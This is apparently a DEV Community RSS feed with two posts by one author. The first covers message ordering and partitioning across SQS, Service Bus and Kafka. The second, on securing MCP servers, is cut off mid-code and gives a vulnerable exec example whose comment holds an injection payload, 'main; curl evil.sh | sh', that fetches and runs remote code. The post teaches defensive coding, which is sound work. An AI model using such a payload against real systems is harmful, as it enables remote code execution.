<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Alok Ranjan Daftuar</title>
    <description>The latest articles on DEV Community by Alok Ranjan Daftuar (@aloknecessary).</description>
    <link>https://dev.to/aloknecessary</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3791551%2F62fbfeb5-1fba-4e79-bc4b-780b7ce52748.jpg</url>
      <title>DEV Community: Alok Ranjan Daftuar</title>
      <link>https://dev.to/aloknecessary</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aloknecessary"/>
    <language>en</language>
    <item>
      <title>Ordering and Partitioning in Event-Driven Systems</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Mon, 16 Nov 2026 05:46:45 +0000</pubDate>
      <link>https://dev.to/aloknecessary/ordering-and-partitioning-in-event-driven-systems-11gk</link>
      <guid>https://dev.to/aloknecessary/ordering-and-partitioning-in-event-driven-systems-11gk</guid>
      <description>&lt;p&gt;"The events must be processed in order." It sounds like a requirement. It is actually an unfinished sentence: in order &lt;em&gt;relative to what&lt;/em&gt;, and at what cost?&lt;/p&gt;

&lt;p&gt;A common outcome of leaving it unfinished: a team puts every payment event into an SQS FIFO queue with a single &lt;code&gt;MessageGroupId&lt;/code&gt;. Within a message group, SQS will not hand out the next message until the previous one is deleted or its visibility timeout expires. With one group, the whole system is a single lane — five messages per second if a handler takes 200 ms, and adding consumers changes nothing. The queue behaves exactly as designed. The requirement was the problem.&lt;/p&gt;

&lt;p&gt;What the team needed was ordering &lt;em&gt;per payment&lt;/em&gt;. Event 7 for account A must not overtake event 6 for account A, but it has no relationship to anything that happens to account B. That is a much weaker guarantee, and it is the only kind that scales.&lt;/p&gt;




&lt;h2&gt;
  
  
  Ordering is a scope, not a global property
&lt;/h2&gt;

&lt;p&gt;Every broker that offers ordering offers it within a unit — and that same unit is your unit of parallelism. You cannot have one without choosing the other.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Ordering unit&lt;/th&gt;
&lt;th&gt;Set by&lt;/th&gt;
&lt;th&gt;Parallelism unit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SQS FIFO / SNS FIFO&lt;/td&gt;
&lt;td&gt;Message group&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MessageGroupId&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Number of distinct active groups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service Bus (sessions)&lt;/td&gt;
&lt;td&gt;Session&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SessionId&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Concurrent sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kafka / MSK&lt;/td&gt;
&lt;td&gt;Partition&lt;/td&gt;
&lt;td&gt;Message key hashed to partition&lt;/td&gt;
&lt;td&gt;Consumers in group, up to partition count&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event Hubs&lt;/td&gt;
&lt;td&gt;Partition&lt;/td&gt;
&lt;td&gt;Partition key hashed to partition&lt;/td&gt;
&lt;td&gt;Consumers per consumer group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kinesis Data Streams&lt;/td&gt;
&lt;td&gt;Shard&lt;/td&gt;
&lt;td&gt;Partition key hashed to shard&lt;/td&gt;
&lt;td&gt;Shards (one active reader per shard)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SQS Standard, EventBridge, Event Grid&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;If you ask for "global order," you are asking for one lane. That is a legitimate choice for a tiny, low-volume stream, and a trap for anything else.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pick the narrowest key that protects your invariant
&lt;/h2&gt;

&lt;p&gt;The key is the answer to the unfinished sentence. Ask which state transitions must be applied sequentially, and key on the entity that owns that state.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Invariant you need&lt;/th&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Order lifecycle events apply in sequence&lt;/td&gt;
&lt;td&gt;&lt;code&gt;orderId&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Account balance changes never apply out of order&lt;/td&gt;
&lt;td&gt;&lt;code&gt;accountId&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Saga steps for one workflow execute in sequence&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sagaId&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-tenant processing isolation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tenantId&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nothing depends on order&lt;/td&gt;
&lt;td&gt;No key, or a random one&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two habits help. First, key on the &lt;strong&gt;aggregate whose state you mutate&lt;/strong&gt;, not on a convenient field. Keying on &lt;code&gt;tenantId&lt;/code&gt; because it is on every message is how one large customer ends up pinning a single partition while the rest sit idle. Second, treat a hot key as a design signal — either choose a finer-grained key (only valid if the invariant allows it), or accept that this entity's throughput is bounded by one lane and make its handler faster.&lt;/p&gt;

&lt;p&gt;A null key is the silent version of this mistake. In Kafka, a message without a key is spread across partitions, so two events for the same order can land in different partitions and be consumed in any relative order.&lt;/p&gt;




&lt;h2&gt;
  
  
  One decision, three syntaxes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  AWS: SQS FIFO
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sqs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;SendMessageCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nc"&gt;QueueUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;queueUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nc"&gt;MessageBody&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nc"&gt;MessageGroupId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// ordering key; also your parallelism unit&lt;/span&gt;
  &lt;span class="nc"&gt;MessageDeduplicationId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eventId&lt;/span&gt; &lt;span class="c1"&gt;// 5-minute dedup window&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;High-cardinality keys like &lt;code&gt;orderId&lt;/code&gt; are what make a FIFO queue scale — parallelism comes from having many distinct active group IDs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Azure: Service Bus sessions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ServiceBusMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nc"&gt;SessionId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;orderId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;MessageId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;eventId&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SendMessageAsync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="n"&gt;processor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CreateSessionProcessor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"order-events"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"billing"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ServiceBusSessionProcessorOptions&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MaxConcurrentSessions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nc"&gt;MaxConcurrentCallsPerSession&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// keep at 1 to preserve per-session order&lt;/span&gt;
        &lt;span class="nc"&gt;SessionIdleTimeout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;TimeSpan&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;FromSeconds&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A session-enabled queue rejects messages with no &lt;code&gt;SessionId&lt;/code&gt;, and &lt;code&gt;requiresSession&lt;/code&gt; is fixed at creation — decide before you deploy.&lt;/p&gt;

&lt;h3&gt;
  
  
  Kafka / MSK and Event Hubs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="na"&gt;enable.idempotence&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;acks&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;
&lt;span class="na"&gt;max.in.flight.requests.per.connection&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without idempotence, a retried batch can land behind a later one when more than one request is in flight — a transient network error silently reorders your events. Set it explicitly so a config change or an older client cannot quietly remove it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The parallelism ceiling is a design decision
&lt;/h2&gt;

&lt;p&gt;Per-key ordering means your maximum parallelism is the number of lanes. A thirteenth consumer on a twelve-partition Kafka topic sits idle. Partition count is hard to change safely — adding partitions changes the key-to-partition mapping, so events for the same key can land in a different partition than their predecessors.&lt;/p&gt;

&lt;p&gt;Size partitions for the parallelism you will want in a year: take your target peak throughput divided by what one consumer sustains, add headroom, and round up.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where order still breaks with the right key
&lt;/h2&gt;

&lt;p&gt;Choosing the key correctly gets you broker-level order. The other places it breaks are all in your code and configuration:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Producer retries without idempotence&lt;/strong&gt; — the broker preserves the order it received, not the order you intended.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Several producers for one entity&lt;/strong&gt; — arrival order at the broker decides the sequence, and no setting fixes that.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rebalances and lock expiry&lt;/strong&gt; — the old consumer may still be finishing a message when the new one starts the next.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dead-letter behavior differs by broker&lt;/strong&gt; — SQS FIFO lets later messages in a group proceed after a DLQ move; Kafka blocks the partition instead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Events spread across topics or queues&lt;/strong&gt; — ordering is defined inside one lane, never between lanes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Concurrency inside your handler&lt;/strong&gt; — the broker delivered in order, and your code destroyed it:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Broken: Promise.all applies in whatever order finishes first&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Correct: sequential per key, concurrent across keys&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;byKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Map&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;byKey&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byKey&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;byKey&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="n"&gt;msgs&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;msgs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full post covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A complete broker comparison table with all five services side by side&lt;/li&gt;
&lt;li&gt;The version-check pattern that makes ordering a consumer-side guarantee rather than a broker-side assumption — and how it gives you idempotency for free&lt;/li&gt;
&lt;li&gt;A property-based test strategy that catches ordering bugs in CI before production does, using seeded randomness and many iterations&lt;/li&gt;
&lt;li&gt;The integration-level test approach for rebalance and lock-handoff paths that unit tests cannot reach&lt;/li&gt;
&lt;li&gt;A concise decision table mapping each ordering requirement to the right mechanism&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/ordering-and-partitioning-in-event-driven-systems/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=ordering-and-partitioning-in-event-driven-systems" rel="noopener noreferrer"&gt;Ordering and Partitioning in Event-Driven Systems — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>eventdriven</category>
      <category>kafka</category>
      <category>distributedsystems</category>
      <category>messaging</category>
    </item>
    <item>
      <title>Securing MCP in Production</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Thu, 12 Nov 2026 06:29:59 +0000</pubDate>
      <link>https://dev.to/aloknecessary/securing-mcp-in-production-4kmf</link>
      <guid>https://dev.to/aloknecessary/securing-mcp-in-production-4kmf</guid>
      <description>&lt;p&gt;More than 30 CVEs were filed against MCP servers, clients, and tooling in a roughly two-month window in early 2026. The most common pattern — around four in ten — was plain command injection. The August 2026 batch reads like a web-security syllabus: path traversal in an Atlassian integration, a settings tool that leaked a cluster token, SSRF in an ad-platform server, CSRF in a WordPress plugin.&lt;/p&gt;

&lt;p&gt;MCP doesn't introduce new vulnerability classes so much as it removes the friction that used to contain old ones. A conventional API takes input from clients you can authenticate and rate-limit. An MCP tool's arguments are composed by a model that has read whatever text happened to be in its context — a ticket description, a scraped web page, another tool's output. The caller is authenticated; the &lt;em&gt;content&lt;/em&gt; of the call is not trustworthy.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Six Attack Surfaces
&lt;/h2&gt;

&lt;p&gt;Every MCP deployment has six places an attack can land:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Surface&lt;/th&gt;
&lt;th&gt;Primary control&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Tool definitions&lt;/td&gt;
&lt;td&gt;Pin approved definitions by hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Tool arguments&lt;/td&gt;
&lt;td&gt;Validate, no shell, allowlists&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Tool results&lt;/td&gt;
&lt;td&gt;Treat output as untrusted; sanitize&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Credentials&lt;/td&gt;
&lt;td&gt;Token exchange, short TTL, file-mounted secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Supply chain&lt;/td&gt;
&lt;td&gt;Digest pinning, signature verification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Egress&lt;/td&gt;
&lt;td&gt;Egress allowlist, metadata endpoint blocked&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Surfaces 2, 4, and 6 are the ones that chain together in real incidents: an injectable argument lets an attacker run a command, which reads a static secret or calls the node metadata endpoint. Closing any one link breaks the chain — which is why the controls are layered rather than alternatives.&lt;/p&gt;




&lt;h2&gt;
  
  
  Arguments Are Untrusted Input
&lt;/h2&gt;

&lt;p&gt;Many MCP servers are thin wrappers around CLIs, which is exactly where the injection CVEs concentrate — including the widely deployed &lt;code&gt;mcp-remote&lt;/code&gt; package (CVE-2025-6514, CVSS 9.6).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable: attacker-influenced string reaches a shell&lt;/span&gt;
&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`git log --oneline ${args.branch}`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;   &lt;span class="c1"&gt;// "main; curl evil.sh | sh"&lt;/span&gt;

&lt;span class="c1"&gt;// Safer: no shell, argument vector, strict allowlist, flag-injection guard&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;BRANCH_RE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/^&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;A&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Za&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;z0&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;\&lt;span class="o"&gt;/-&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;$&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="no"&gt;BRANCH_RE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;branch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;branch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"-"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;McpError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"invalid_argument"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
